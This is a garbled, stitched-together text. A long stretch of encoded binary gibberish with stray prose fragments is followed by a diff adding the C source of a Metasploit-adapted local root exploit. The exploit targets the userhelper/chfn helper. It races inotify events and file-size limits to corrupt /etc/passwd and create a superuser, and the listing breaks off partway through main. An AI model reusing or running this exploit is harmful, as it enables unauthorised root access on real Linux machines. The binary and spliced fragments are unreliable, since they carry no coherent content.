zp0S;}h~1s6m=$3SBlmlpIk3KyJOsr35%O4cReq=LSTpP45033=6`#<3%DlpU!*i{Y z!V?C2P8j=kN00uCh85oEww9Zy8cS=MWTFD9!+(-!s?N!YS9PAqNng{&ZrUZO>Mu`K ze|f5vm#g}cIil$z7QkztuCLqPx*RgjCAuhU8aY*h>D z7;aO{DHC%7hB?c1>A~r>)^5B}4x4Gokxvbz6$An$FkaGQH&?P*&c{pboViF;*V1}|Mc^MtaLs{*T0FZL zFLQ`)ET@?h7tv1$i3O%#U>NE ze~=a~_is6qvz>sdlSdl2ImDtNoD7Ppx>^vYE-E&Iso!leywzAL9dnp2Y6^UH zxt&wQy53=X>!MQNz0%EJZoJH)oF!6BXs%=toUc+yZ18raN8T!hWC3qoe#R+pU6l#m zZXP)CFh^g0?aD3JrHGSRSr;`U-AI@7jdQs!Y8iZWX*15{y4W>dqRVy0w@jB$jdOV_ z*W^rcA|ZCJ<*JM%h+K6!-#E*4QKRFl%QoXI*Tv4&WTjSyz-?>>6}9t&oYdQ=>yw6} zOqZuP3pA}?b>6ieO-vDM;EnQp&d@B;rQJ9e>tb_kNviCN@ifOD_Oy9PJC4In=o4b84PRWnX5(oFH4Qif?=!tmM<@i|>FBa#C+y?BJ`;bMvI)YA|!m z;&(1*wsoOKa5k2{M_PDaZwKC#8($v2eTqgZ(~Qc z8D&Q|GwBhNQh6$RnWEcjpYl}nBsZo(U(dOd^8n{z&egN{6N-9bTGL z$3!P-EQT07KZ$(?>$?FuytJVXeP>UHmw`=3a}wtmtnVJ^@G|u4*p$S%24DH2xe(sj zICg&S;ymNHK8f=UzA1^j80>zd!0UXx{Auxm!%NSy54!?h=c^1sr`}%sYvNW=t2Yj> z`MQD~!^S;Qz=ZeAz`Zi?2^m-oojSbcE0gJ1!(8g{@-1_R)yC6jz0+ZH$fgli30(eo zFtsoU?DEG$k1q!AbNK0jpAyx8-E6dOj?ulIpN7@%f0>3G!QzL?;ej6-<_f_g5pLsp zzTNC5y|00X6W+%O&n)lv@W0k+FO~O~;M-o~hePH2J=dTk4=Uex?It(js_#{}MpFru zN8yWL`55p-2fMPY2%>NGTGkZG6GZ`}^1gz^E=nt2+o6Nw(cdzx*Xi|fR+?Cy;LFn z!7lwx;M<|U)hXXk!Q%-R+m-(9;AXm+zV)g6?*mUETs=?W2f=rAwUuBBe-%8R@B%0N zFxZ-#WoIT&33&{D*F6e4$hL0C0U;d9HS-E+95L3F7-?QL{($Y(SZ!U!2PIxx*`7+@rIq_w2_)9}A zOW*rcc}l=q6Q1mZp9S8XR^R!GFB|!!Cw`nKJSR)g;CgV7`0Apn??vDRlPpW$=T!P% z0S_nKZSSvwH_=`$Kfeb)wHTRj%KKaJc<8%3>D>eV6ZyIH2f&Fm`~vvTY4{!R;WX?a z;`?d1C-|c@JQ!S8LLN?eCxB;@zuSH@z~_NA@~VF2;MHQLIdZJC!Drjk0zNs`m%x>2 zxC&gKhHJs=({Ka$@-!RA3E=tR91Nio|@GanQ8omO2-kGWRJHgMUVVSP) z@`Y6R4d9Jw_`Be@)9{bLWm8i0KL@*qJ6@huD&E-beK+A#((t`Bb;y<5( zWkAI}l>VPG!rL?O#~Ik`%oR#Q@%6cs^Jm&Ra>?UB@U_UFJ-&9gMuK;y$>VtNm1)=y zb`PZ|>vKD2@$F%{gwmS@-VMFxJoS%x;7!QOWFi@P0SD(=*3}NZ%uL;smVZ6?hP3=* zVE0gdn=|lNGVnLS@1JYmAE`V)$_Up-4%|cOT?P2wd8zig{TShEzL*NX`xxQRrG-D3 z5&n1vel7ziGVpWs*Y_8u`u7hJqyuSqDodQhX;>dQcmgbu7r#HuNKYTCaSzouKLe}& zSFTFcuSZ7sNf}t5ac~c%Hz5Ph&%jH;PtgAE{H@O)Jd}oOGUyvJ@FNWLA5lM7KG!Rp z??6e+Ro|@{^k2@vU(LYZ&cLewjjL1jzd0lPml;^}zO?*r&j{a>fx9z~x`+7nKt}ju z8Ti=@{HF~37W1Z`{9S&$MR*{sJhBPu9?I{%jQEnTDR6E(MEa`P-w5xSmL6Ruc__Z< zU(TQpir(qp{$tQ@;<06V`cukN^xZP(`-AfvZHGgR;7x=dpr0vR zpM#l9xP9bUUj)B?SqfKy$5K8wd^PyYG`t4<^)%cJZb`#2@XR!P5qM=9-UwcmhPQz0 z({LPoc^dvQ_@`-DM!I&T;p@Ra*pe#mx4})DQuzDe$!Xy~0iTzKe+f=(PSNiIZ*5KC zJHg*fWN7L}1!SOWwF8J$d z_#^PGY4~%ndq}=J(~*X4Lk94aJoHeaK9F$tQ2F$AGkr^MC7#Ovbg-ZMRUcU6;dit!cMj3ZEQfmtEB*c4oNAg? z{OK9#&&$9|Gw|;+(tA1se=&o8bq1C(J@-&~HfG=}!PCCQh7gZkz8k=`@Wa0U>~8%4 zyb1h1iHKjn%7}j__~qwq{%AbB8@&5T#%TJD@B7ygUO}WMG*$bPw@=Ex7*0 z)cyU%8R3^_V3|L355@m(23CC|yHfT2bw>D}416F1znp>J$-pwA?H6oG8F*U;zA6KMBLn{!y!9TIlrTa4`8VK8 z(&Xn48T9)z@KYK1P4HXy+Us4V_jX43XBjw8iXG<=|JD9u_p0yMOX-vU2D_y~oAKLW46miu8RJd5?^$yMlRobb+I_xoH*uLpSDIrL8&NbyesPxz*- z&k-&J*E0BNJnF_@g8Q{s8tmPb3Li)Kc=Y3Tco%CD_~*Al%%Subfv@{2AA4Ya7X3Nk zM}C?rZ!LJ&9vND;!<)h0c&hwcz@??|z$xEO@J-Zryp#U7!GHR8ieEQ__5Iqjo%BkG zSN3IlL!t8DMfi%}+m9xN?*_k%d`o{R{2}f0Jomq+g2mqhgb!dnr9<_31N<%S$5#jw z{x10YvTcae`fm9}KaKD;t5WIB1^*2Gy6G!XRkwV~uLoG)mUjD35d1m) z`9z0)H252}l*h?$Jou*T>?igr&q?STtDW`mKuWlPa4}EMK@@&2`1RkSqgHzGs|MUc z{U$i$Pct~Z|6BsD*v<0^C;$Fw>31W=%LpGr{uevp@6(WOe^-6tgg^gZ1Ulhg1$VwN z)gCv1-=V*V-zwj&;BxA#L*=^%+>OC}v@qfOz;7WhuDm}Bc6ENDKMZ!)!^;0taG%xo zrg32}?d#5`!b_-+`+PNEWm^Hl-SI~G^#=d)%l2M%;Q?v#Av_-Ju2+@bG_d>pO!zeN zciTs}obVsl*qf+?E5X_hyeG%5-x{#n-viVq0YBaOO!;-;#wUh+x${*E^y}|U@$b1_ z%qNWZi{O{iznbt@?zgOk4*yP0Yd^`yw+VOoqx9co{`%t@Ti+u5eZn7w->&@q82lOG zXE^EK26p?i==XpFSK9hm;eB9teiy#5C$i6cFwlwr7~%Tn`}I!wUIeG}=daM$Gv72h z^oIy{`?u=%{jRC;Rq20D_!DXJ=BK`!D9__g`aQwBudu979DHI1KZb$_rO96jxVR%V ze@_6r>ow&+2fQ8m>g}Yr2wcnf;P#i53U~C|>My_OLH}hg&=DYh72)U8pHBy?{5R0P zfotsj^THPp{#)n^)qjzP2>3kO!(Gq3n#M2DKLcKnCLdd%KYeDZ{jLM&GhVstiEn}3 z@<|@<0Dpo0=7!%5cAsCUzS@6Rypr*RGAX|&2(M*4bI11=!S47c`UE)7XR2$;|2cSf z8~5x^edi!=uhCu?ldkBq;m?j$mbtH2`kle<^Av^m0{{3vTfPn-7nz;1gf{+Gdn zx25X$eQ&dd=v7w+oA7*ApUkb>p_S9O~N}4AkxjzAa1pf{>^q+&DVeB6# zOnTY$w;%j0HJ${(LB@BAXTnbcyZR8-zXq_rC;Fev^{RQ|JV7LE?{tocR z=krX~Depe;;A!@L3xz)ecIPMIg^X9)zvPZ*ZxB8_ZN2n9*uCEn{byjef2cg&=s&+l zUazG53hx8{3jA~1>m+dC$ILHIdu>48)BEo*!e!V=+r=dR#b9@Ruk_CXuWLxnhqJ)$ zc%}RnQ2t+k!`250ml58T`d{dj=WOsBQ&aN32K@34duOcZ!{CbD_I#oI=7HV*tMH4! zTb%hrN2M!p}V{%-$%fpF_btmhs2H$=ac`ymIv4R-6J z`LF|gnDy0Ir#?B1U%P3%7kzgA`CxZERr#!NRXAFL9XT$MXso6NXGO)drI@IhKL_g% z6`<)yp&7F)W-cjRFr#AXj9GIQLcsgmu8EpxgUl2(hGYz-x~XC{CJQiOQH}AINJV9= z#j%4B4ONdhwdB+iO92&i)h$A&ST*6whEPRytf67Oh0#6?dfnZXO`Dvh1F zi&D8%C3BIfzuHiJb0|z@s_XPVdPQ?(IK(^s4yvlfUZ4RrjaEwoua`He+BLDps)~v+ zr<{7~IIATb`g`w*Rtpvr8mnW?>C~rT?j_RLjJ23(O}hVt604=D8N(uJDNmSag{x)W zhFm5VTP?7Qm)+9{CXVO5dY9l-YjueC#%)_S=|q#90IGF#^hs_MUO*2u$f!^%+G!=H z@^*T3%qgdpoPwiLmLx8Wg|MlUMl)`_6$xQNhIhy7*QW=Za*923s7l(6Q5`DX9X!@Wh2Gq2?+n{ zP-95uKhnw^u`0)$GT~H2B!ulDj5MAy;k4ouVNI;Q-dK}JOK1YkRTmA_HP$p$)FWyx z4OOhMR)t_VmNJ}ph9JYws;rT1siR1a_Dbb{%x0Z{9feeRCYBUiW9FAkoWw6(nx9kk zgQ?Zk$F6@sYfNA+}T`%&~` zdM869I6@8yZHa)KKLBDP2OvRCK*TE|LE`s)=iKUQ?;ugys{1NTWS4OPa9{xTvW(uydd5^yPuE1Depl7JW! z$5^6eHd*hNr0PRLER_i&4QKBuEr^k{nBBV>B7_d0R3mH(%9S<5lR{RnZV-#fVXMqF z;cKSK3@a;$dUl*vbg#y!8AU{i+HG@J&6|-TOo8C~ttZis%#a=3Zf&1MQ!Nm8#)p{-<|0zU3sHGD3q?+rI5&j&x+RDh;lG4W zQDIszsAASuFQoJ>Z31BtK&uw&@rC*5ZJuDj`OV~+t1)Lw%V zm|KetnS(Q$#?<1sZH~l>iaeSs;$P9Hb}X=ZzZ5HLo{LFWgUm~#EO#*KVhQs(&yEyX zAZ7kMSG(J)e)iIc9BjWB0!(uJBl2^%`GEhXQ)Y_VSw5pAg` zf>ZX`>IO4*&2HmNRl)AiK6DCT9*%l>ZTS7> z)Oa8w*O6LgZfwjK^S@Y8C4Ip>$&L1#1<7vT5~0tT?PS+#i&rlQ@&<33dW}N-rB26Z zphd9MCSNXdibq`S*d5%KwcK2Rt*1~?Icse)Wt~mX)yofe#TKu4E((m88-Y{Q5t?De zu+toS!hept#%tAd_S^fcthN3OisI`CmXE^R zBDySxiV{R9A|pm%p&k(YPB^R-fnL9Ni5x`$w(q_3&i9`^ub;pDt@obE@z>@i`qDGJ zfnrsxmx!Ur&V_c6aSi*4i=GDGXs(Jd=#oRCh0oSOo|?^v0@2kq zA*%*J)GdM5=0v3&>=qt6lnmLFts2KcT1KQcF368Z#zgSEuzS>bXO+Bq{QS`-M5Ng<35d~{}#U-KZr0BF`#U1gW0G-V=z|w1; zA17c6{{iS+FFC?tiZ7)bbQBDM4eN5IK*EZ51D%bOVoGBXO0vQ2Rb7~}<5i-db##NM z8BMdU??U|OszrK=^Wtx;m4ZbiTkr)XOn3# zOsCqCP)g*U&{me(gXuWE)=2>vy*Jp^#C6TNF*U-++Nt$`w#ejyD}7)nto+c@I>jAR zwD%nTZAz)MQ2O(lDZUuU!#p`7b1AD(jdz5IEA!}Bs!!_NbazV^E*(CqilaidY&YX6 z&Zl4Rbi#+B2$$V_sSO4I#{;i^)uiuUF+rW$Bse}O5JGkt3ZiJ{tz?z>zow{s8lm9K z&wRVcxxHYxqWgXWy08Mqo?{1%+rs@O@+;gh4%c=?RAml6;Bl|r?#xPdvt2jGlrK2P zn~POjFA2?THs}3>IlZt8^eLyOdhNGGR)3v1!#0FcjbqJ;st@q&SksG_NMnLThUJ5i zg2m57Ldz&3ply*pj}sIndpe{YbJg~lr_0?nwZ(~3wo`HxM#b@pHTP%A@w8(Aw6FM( zt+bp=Z#o10QyWs`C@o-TsG6DRCx9qdb;Dbt5jf8d z7nCicGRl1s4I1136G-Rn*f84SpjSWr`Xi9pd8nnLVrPr`U-_LuR6}7;SUMKP5hP&mqo^cj z%&Z!)WWC85h#pSoC8w~=)nIzR)~-0^ggV$ZOXaJ9_0M3h^W;FDE=?QLde9IlTraq* zfnQY9SMRGy-~{*IZj5iVTJRsj+-^X?W6& zs!P*&tangZGL(b@Mr;y9BH2iu-fig45sj>;5FmB*w>Q{|prre|xOo zr0C}JQg;=6d_MO)K1-@t0J@)cQ2LG+I8~=Ug3~uP-T(YOg}el(i_e!GoW8y4{(@WL zQO4!7jNw4zm;#C`@LF$zmjRx^{bId}HK6;EHa;)yu`WJq8lU!6zd8NzZ}B@?wdpEw z4SCH$aQfT(U;YocWe-k&Q~VKd`dvx6E;Dmasyz`t{r2_EzXO|Pl8zofBVWc$>zaLV$`NG(W`#c>Q1eM)C*h z8P{c|{LI7n9%Wf@J#x5By?&K&308d-xSy6nukAOzyqZ4-?(Q4P#Z_kTTZ$#GmM?$h zqWXy@oL6asJ%pCtO*_4. + */ + +// Modified for Metasploit (see comments marked 'msf note') + +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +/* A maximum GECOS field length. There's no hard limit, so we guess. */ +#define GECOS_LENGTH 127 + +typedef char gecos_field[GECOS_LENGTH]; + +/* A structure to hold broken-out GECOS data. The number and names of the + * fields are dictated entirely by the flavor of finger we use. Seriously. */ +struct gecos_data { + gecos_field full_name; /* full user name */ + gecos_field office; /* office */ + gecos_field office_phone; /* office phone */ + gecos_field home_phone; /* home phone */ + gecos_field site_info; /* other stuff */ +}; + +static struct userhelper { + struct gecos_data gecos; + rlim_t fsizelim; + pid_t pid; + int fd; +} userhelpers[GECOS_LENGTH]; + +static void +die_in_parent(const char *const file, const unsigned int line, + const char *const function) +{ + fprintf(stderr, "died in parent: %s:%u: %s\n", file, line, function); + fflush(stderr); + + unsigned int i; + for (i = 0; i < GECOS_LENGTH; i++) { + const pid_t pid = userhelpers[i].pid; + if (pid <= 0) continue; + kill(pid, SIGKILL); + } + _exit(EXIT_FAILURE); +} + +static void +die_in_child(const char *const file, const unsigned int line, + const char *const function) +{ + fprintf(stderr, "died in child: %s:%u: %s\n", file, line, function); + exit(EXIT_FAILURE); +} + +static void (*die_fn)(const char *, unsigned int, const char *) = die_in_parent; +#define die() die_fn(__FILE__, __LINE__, __func__) + +static void * +xmalloc(const size_t size) +{ + if (size <= 0) die(); + if (size >= INT_MAX) die(); + void *const ptr = malloc(size); + if (ptr == NULL) die(); + return ptr; +} + +static void * +xrealloc(void *const old, const size_t size) +{ + if (size <= 0) die(); + if (size >= INT_MAX) die(); + void *const new = realloc(old, size); + if (new == NULL) die(); + return new; +} + +static char * +xstrndup(const char *const old, const size_t len) +{ + if (old == NULL) die(); + if (len >= INT_MAX) die(); + + char *const new = strndup(old, len); + + if (new == NULL) die(); + if (len != strlen(new)) die(); + return new; +} + +static int +xsnprintf(char *const str, const size_t size, const char *const format, ...) +{ + if (str == NULL) die(); + if (size <= 0) die(); + if (size >= INT_MAX) die(); + if (format == NULL) die(); + + va_list ap; + va_start(ap, format); + const int len = vsnprintf(str, size, format, ap); + va_end(ap); + + if (len < 0) die(); + if ((unsigned int)len >= size) die(); + if ((unsigned int)len != strlen(str)) die(); + return len; +} + +static int +xopen(const char *const pathname, const int flags) +{ + if (pathname == NULL) die(); + if (*pathname != '/') die(); + if (flags != O_RDONLY) die(); + + const int fd = open(pathname, flags); + if (fd <= -1) die(); + + static const struct flock rdlock = { + .l_type = F_RDLCK, + .l_whence = SEEK_SET, + .l_start = 0, + .l_len = 0 + }; + if (fcntl(fd, F_SETLK, &rdlock) != 0) die(); + return fd; +} + +static void +xclose(const int fd) +{ + if (fd <= -1) die(); + static const struct flock unlock = { + .l_type = F_UNLCK, + .l_whence = SEEK_SET, + .l_start = 0, + .l_len = 0 + }; + if (fcntl(fd, F_SETLK, &unlock) != 0) die(); + if (close(fd) != 0) die(); +} + +#define GECOS_BADCHARS ":,=\n" + +/* A simple function to compute the size of a gecos string containing the + * data we have. */ +static size_t +gecos_size(const struct gecos_data *const parsed) +{ + if (parsed == NULL) die(); + + size_t len = 4; /* commas! */ + len += strlen(parsed->full_name); + len += strlen(parsed->office); + len += strlen(parsed->office_phone); + len += strlen(parsed->home_phone); + len += strlen(parsed->site_info); + len++; + return len; +} + +/* Parse the passed-in GECOS string and set PARSED to its broken-down contents. + Note that the parsing is performed using the convention obeyed by BSDish + finger(1) under Linux. */ +static void +gecos_parse(const char *const gecos, struct gecos_data *const parsed) +{ + if (gecos == NULL) die(); + if (strlen(gecos) >= INT_MAX) die(); + + if (parsed == NULL) die(); + memset(parsed, 0, sizeof(*parsed)); + + unsigned int i; + const char *field = gecos; + + for (i = 0; ; i++) { + const char *field_end = strchrnul(field, ','); + gecos_field *dest = NULL; + + switch (i) { + case 0: + dest = &parsed->full_name; + break; + case 1: + dest = &parsed->office; + break; + case 2: + dest = &parsed->office_phone; + break; + case 3: + dest = &parsed->home_phone; + break; + case 4: + // msf note: changed `rawmemchar` to `memchr` for cross-compile + //field_end = rawmemchr(field_end, '\0'); + field_end = memchr(field_end, '\0', 16); + dest = &parsed->site_info; + break; + default: + die(); + } + const size_t field_len = field_end - field; + xsnprintf(*dest, sizeof(*dest), "%.*s", (int)field_len, field); + if (strlen(*dest) != field_len) die(); + + if (strpbrk(*dest, GECOS_BADCHARS) != NULL && i != 4) die(); + + if (*field_end == '\0') break; + field = field_end + 1; + } + if (gecos_size(parsed) > GECOS_LENGTH) die(); +} + +/* Assemble a new gecos string. */ +static const char * +gecos_assemble(const struct gecos_data *const parsed) +{ + static char ret[GECOS_LENGTH]; + size_t i; + + if (parsed == NULL) die(); + /* Construct the basic version of the string. */ + xsnprintf(ret, sizeof(ret), "%s,%s,%s,%s,%s", + parsed->full_name, + parsed->office, + parsed->office_phone, + parsed->home_phone, + parsed->site_info); + /* Strip off terminal commas. */ + i = strlen(ret); + while ((i > 0) && (ret[i - 1] == ',')) { + ret[i - 1] = '\0'; + i--; + } + return ret; +} + +/* Descriptors used to communicate between userhelper and consolhelper. */ +#define UH_INFILENO 3 +#define UH_OUTFILENO 4 + +/* Userhelper request format: + request code as a single character, + request data size as UH_REQUEST_SIZE_DIGITS decimal digits + request data + '\n' */ +#define UH_REQUEST_SIZE_DIGITS 8 + +/* Synchronization point code. */ +#define UH_SYNC_POINT 32 + +/* Valid userhelper request codes. */ +#define UH_ECHO_ON_PROMPT 34 +#define UH_ECHO_OFF_PROMPT 35 +#define UH_EXPECT_RESP 39 +#define UH_SERVICE_NAME 40 +#define UH_USER 42 + +/* Consolehelper response format: + response code as a single character, + response data + '\n' */ + +/* Consolehelper response codes. */ +#define UH_TEXT 33 + +/* Valid userhelper error codes. */ +#define ERR_UNK_ERROR 255 /* unknown error */ + +/* Paths, flag names, and other stuff. */ +#define UH_PATH "/usr/sbin/userhelper" +#define UH_FULLNAME_OPT "-f" +#define UH_OFFICE_OPT "-o" +#define UH_OFFICEPHONE_OPT "-p" +#define UH_HOMEPHONE_OPT "-h" + +static char +read_request(const int fd, char *const data, const size_t size) +{ + if (fd <= -1) die(); + if (data == NULL) die(); + if (size >= INT_MAX) die(); + + char header[1 + UH_REQUEST_SIZE_DIGITS + 1]; + if (read(fd, header, sizeof(header)-1) != sizeof(header)-1) die(); + header[sizeof(header)-1] = '\0'; + + errno = 0; + char *endptr = NULL; + const unsigned long len = strtoul(&header[1], &endptr, 10); + if (errno != 0 || endptr != &header[sizeof(header)-1]) die(); + + if (len >= size) die(); + if (read(fd, data, len+1) != (ssize_t)(len+1)) die(); + if (data[len] != '\n') die(); + data[len] = '\0'; + + if (strlen(data) != len) die(); + if (strchr(data, '\n') != NULL) die(); + return header[0]; +} + +static void +send_reply(const int fd, const unsigned char type, const char *const data) +{ + if (fd <= -1) die(); + if (!isascii(type)) die(); + if (!isprint(type)) die(); + if (data == NULL) die(); + if (strpbrk(data, "\r\n") != NULL) die(); + + char buf[BUFSIZ]; + const int len = xsnprintf(buf, sizeof(buf), "%c%s\n", (int)type, data); + if (send(fd, buf, len, MSG_NOSIGNAL) != len) die(); +} + +#define ETCDIR "/etc" +#define PASSWD "/etc/passwd" +#define BACKUP "/etc/passwd-" + +static struct { + char username[64]; + char password[64]; + struct gecos_data gecos; +} my; + +static volatile sig_atomic_t is_child_dead; + +static void +sigchild_handler(const int signum __attribute__ ((__unused__))) +{ + is_child_dead = true; +} + +static int +wait_for_userhelper(struct userhelper *const uh, const int options) +{ + if (uh == NULL) die(); + if (uh->pid <= 0) die(); + if ((options & ~(WUNTRACED | WCONTINUED)) != 0) die(); + + int status; + for (;;) { + const pid_t pid = waitpid(uh->pid, &status, options); + if (pid == uh->pid) break; + if (pid > 0) _exit(255); + + if (pid != -1) die(); + if (errno != EINTR) die(); + } + if (WIFEXITED(status) || WIFSIGNALED(status)) uh->pid = -1; + return status; +} + +static void +forkstop_userhelper(struct userhelper *const uh) +{ + if (uh == NULL) die(); + if (uh->pid != 0) die(); + if (gecos_size(&uh->gecos) > GECOS_LENGTH) die(); + + struct rlimit fsize; + if (getrlimit(RLIMIT_FSIZE, &fsize) != 0) die(); + if (uh->fsizelim > fsize.rlim_max) die(); + if (uh->fsizelim <= 0) die(); + fsize.rlim_cur = uh->fsizelim; + + cpu_set_t old_cpus; + CPU_ZERO(&old_cpus); + if (sched_getaffinity(0, sizeof(old_cpus), &old_cpus) != 0) die(); + + { const int cpu = sched_getcpu(); + if (cpu >= CPU_SETSIZE) die(); + if (cpu < 0) die(); + cpu_set_t new_cpus; + CPU_ZERO(&new_cpus); + CPU_SET(cpu, &new_cpus); + if (sched_setaffinity(0, sizeof(new_cpus), &new_cpus) != 0) die(); } + + int sv[2]; + if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) != 0) die(); + + if (is_child_dead) die(); + static const struct sigaction sigchild_action = { + .sa_handler = sigchild_handler, .sa_flags = SA_NOCLDSTOP }; + if (sigaction(SIGCHLD, &sigchild_action, NULL) != 0) die(); + + uh->pid = fork(); + if (uh->pid <= -1) die(); + + if (uh->pid == 0) { + die_fn = die_in_child; + if (close(sv[1]) != 0) die(); + if (dup2(sv[0], UH_INFILENO) != UH_INFILENO) die(); + if (dup2(sv[0], UH_OUTFILENO) != UH_OUTFILENO) die(); + + const int devnull_fd = open("/dev/null", O_RDWR); + if (dup2(devnull_fd, STDIN_FILENO) != STDIN_FILENO) die(); + if (dup2(devnull_fd, STDOUT_FILENO) != STDOUT_FILENO) die(); + if (dup2(devnull_fd, STDERR_FILENO) != STDERR_FILENO) die(); + + if (signal(SIGPIPE, SIG_DFL) == SIG_ERR) die(); + if (signal(SIGXFSZ, SIG_IGN) == SIG_ERR) die(); + if (setrlimit(RLIMIT_FSIZE, &fsize) != 0) die(); + + if (setpriority(PRIO_PROCESS, 0, +19) != 0) die(); + static const struct sched_param sched_param = { .sched_priority = 0 }; + (void) sched_setscheduler(0, SCHED_IDLE, &sched_param); + + char *const argv[] = { UH_PATH, + UH_FULLNAME_OPT, uh->gecos.full_name, + UH_OFFICE_OPT, uh->gecos.office, + UH_OFFICEPHONE_OPT, uh->gecos.office_phone, + UH_HOMEPHONE_OPT, uh->gecos.home_phone, + NULL }; + char *const envp[] = { NULL }; + execve(UH_PATH, argv, envp); + die(); + } + if (die_fn != die_in_parent) die(); + if (close(sv[0]) != 0) die(); + uh->fd = sv[1]; + + unsigned long expected_responses = 0; + for (;;) { + char data[BUFSIZ]; + const char type = read_request(uh->fd, data, sizeof(data)); + if (type == UH_SYNC_POINT) break; + + switch (type) { + case UH_USER: + if (strcmp(data, my.username) != 0) die(); + break; + case UH_SERVICE_NAME: + if (strcmp(data, "chfn") != 0) die(); + break; + case UH_ECHO_ON_PROMPT: + case UH_ECHO_OFF_PROMPT: + if (++expected_responses == 0) die(); + break; + case UH_EXPECT_RESP: + if (strtoul(data, NULL, 10) != expected_responses) die(); + break; + default: + break; + } + } + if (expected_responses != 1) die(); + + const int lpasswd_fd = xopen(PASSWD, O_RDONLY); + const int inotify_fd = inotify_init(); + if (inotify_fd <= -1) die(); + if (inotify_add_watch(inotify_fd, PASSWD, IN_CLOSE_NOWRITE | + IN_OPEN) <= -1) die(); + if (inotify_add_watch(inotify_fd, BACKUP, IN_CLOSE_WRITE) <= -1) { + if (errno != ENOENT) die(); + if (inotify_add_watch(inotify_fd, ETCDIR, IN_CREATE) <= -1) die(); + } + + send_reply(uh->fd, UH_TEXT, my.password); + send_reply(uh->fd, UH_SYNC_POINT, ""); + if (close(uh->fd) != 0) die(); + uh->fd = -1; + + unsigned int state = 0; + static const uint32_t transition[] = { IN_CLOSE_WRITE, + IN_CLOSE_NOWRITE, IN_OPEN, 0 }; + for (;;) { + if (is_child_dead) die(); + char buffer[10 * (sizeof(struct inotify_event) + NAME_MAX + 1)]; + const ssize_t _buflen = read(inotify_fd, buffer, sizeof(buffer)); + if (is_child_dead) die(); + + if (_buflen <= 0) die(); + size_t buflen = _buflen; + if (buflen > sizeof(buffer)) die(); + + struct inotify_event *ep; + for (ep = (struct inotify_event *)(buffer); buflen >= sizeof(*ep); + ep = (struct inotify_event *)(ep->name + ep->len)) { + buflen -= sizeof(*ep); + + if (ep->len > 0) { + if (buflen < ep->len) die(); + buflen -= ep->len; + if ((ep->mask & IN_CREATE) == 0) die(); + (void) inotify_add_watch(inotify_fd, BACKUP, IN_CLOSE_WRITE); + continue; + } + if (ep->len != 0) die(); + while ((ep->mask & transition[state]) != 0) { + ep->mask &= ~transition[state++]; + if (transition[state] == 0) goto stop_userhelper; + } + } + if (buflen != 0) die(); + } + stop_userhelper: + if (kill(uh->pid, SIGSTOP) != 0) die(); + if (close(inotify_fd) != 0) die(); + + const int status = wait_for_userhelper(uh, WUNTRACED); + if (!WIFSTOPPED(status)) die(); + if (WSTOPSIG(status) != SIGSTOP) die(); + + xclose(lpasswd_fd); + if (signal(SIGCHLD, SIG_DFL) == SIG_ERR) die(); + if (sched_setaffinity(0, sizeof(old_cpus), &old_cpus) != 0) die(); +} + +static void +continue_userhelper(struct userhelper *const uh) +{ + if (uh == NULL) die(); + if (uh->fd != -1) die(); + if (uh->pid <= 0) die(); + + if (kill(uh->pid, SIGCONT) != 0) die(); + + { const int status = wait_for_userhelper(uh, WCONTINUED); + if (!WIFCONTINUED(status)) die(); } + + { const int status = wait_for_userhelper(uh, 0); + if (!WIFEXITED(status)) die(); + if (WEXITSTATUS(status) != + ((uh->fsizelim == RLIM_INFINITY) ? 0 : ERR_UNK_ERROR)) die(); } + + memset(uh, 0, sizeof(*uh)); +} + +static void +create_backup_of_passwd_file(void) +{ + char backup[] = "/tmp/passwd-XXXXXX"; + const mode_t prev_umask = umask(077); + const int ofd = mkstemp(backup); + (void) umask(prev_umask); + if (ofd <= -1) die(); + + printf("Creating a backup copy of \"%s\" named \"%s\"\n", PASSWD, backup); + const int ifd = xopen(PASSWD, O_RDONLY); + for (;;) { + char buf[BUFSIZ]; + const ssize_t len = read(ifd, buf, sizeof(buf)); + if (len == 0) break; + if (len <= 0) die(); + if (write(ofd, buf, len) != len) die(); + } + xclose(ifd); + if (close(ofd) != 0) die(); +} + +static void +delete_lines_from_passwd_file(void) +{ + struct gecos_data gecos; + memset(&gecos, 0, sizeof(gecos)); + xsnprintf(gecos.site_info, sizeof(gecos.site_info), + "%s", my.gecos.site_info); + const ssize_t fullname_max = GECOS_LENGTH - gecos_size(&gecos); + if (fullname_max >= GECOS_LENGTH) die(); + if (fullname_max <= 0) die(); + + char fragment[64]; + xsnprintf(fragment, sizeof(fragment), "\n%s:", my.username); + + char *contents = NULL; + for (;;) { + struct stat st; + const int fd = xopen(PASSWD, O_RDONLY); + if (fstat(fd, &st) != 0) die(); + if (st.st_size >= INT_MAX) die(); + if (st.st_size <= 0) die(); + + contents = xrealloc(contents, st.st_size + 1); + if (read(fd, contents, st.st_size) != st.st_size) die(); + contents[st.st_size] = '\0'; + xclose(fd); + + const char *cp = strstr(contents, fragment); + if (cp == NULL) die(); + cp = strchr(cp + 2, '\n'); + if (cp == NULL) die(); + if (cp[1] == '\0') break; + + char *const tp = contents + st.st_size-1; + *tp = '\0'; + if (tp <= cp) die(); + if (tp - cp > fullname_max) cp = tp - fullname_max; + cp = strpbrk(cp, "\n:, "); + if (cp == NULL) die(); + + const ssize_t fullname_len = tp - cp; + if (fullname_len >= GECOS_LENGTH) die(); + if (fullname_len <= 0) die(); + + printf("Deleting %zd bytes from \"%s\"\n", fullname_len, PASSWD); + + struct userhelper *const uh = &userhelpers[0]; + memset(uh->gecos.full_name, 'A', fullname_len); + uh->fsizelim = st.st_size; + forkstop_userhelper(uh); + continue_userhelper(uh); + + uh->fsizelim = RLIM_INFINITY; + forkstop_userhelper(uh); + continue_userhelper(uh); + } + free(contents); +} + +static size_t passwd_fsize; +static int generate_userhelpers(const char *); +#define IS_USER_LAST "last user in passwd file?" + +static char candidate_users[256]; +static char superuser_elect; + +int +main(void) +{ + // msf note: don't backup /etc/passwd to /tmp + //create_backup_of_passwd_file(); + + { char candidate[] = "a"; + for (; candidate[0] <= 'z'; candidate[0]++) { + if (getpwnam(candidate) != NULL) continue; + strcat(candidate_users, candidate); + } } + if (candidate_users[0] == '\0') die(); + + const struct passwd *const pwd = getpwuid(getuid()); + if ((pwd == NULL) || (pwd->pw_name == NULL)) die(); + xsnprintf(my.username, sizeof(my.username), "%s", pwd->pw_name); + gecos_parse(pwd->pw_gecos, &my.gecos); + + if (fputs("Please enter your password:\n", stdout) == EOF) die(); + if (fgets(my.password, sizeof(my.password), stdin) == NULL) die(); + char *const newline = strchr(my.password, '\n'); + if (newline == 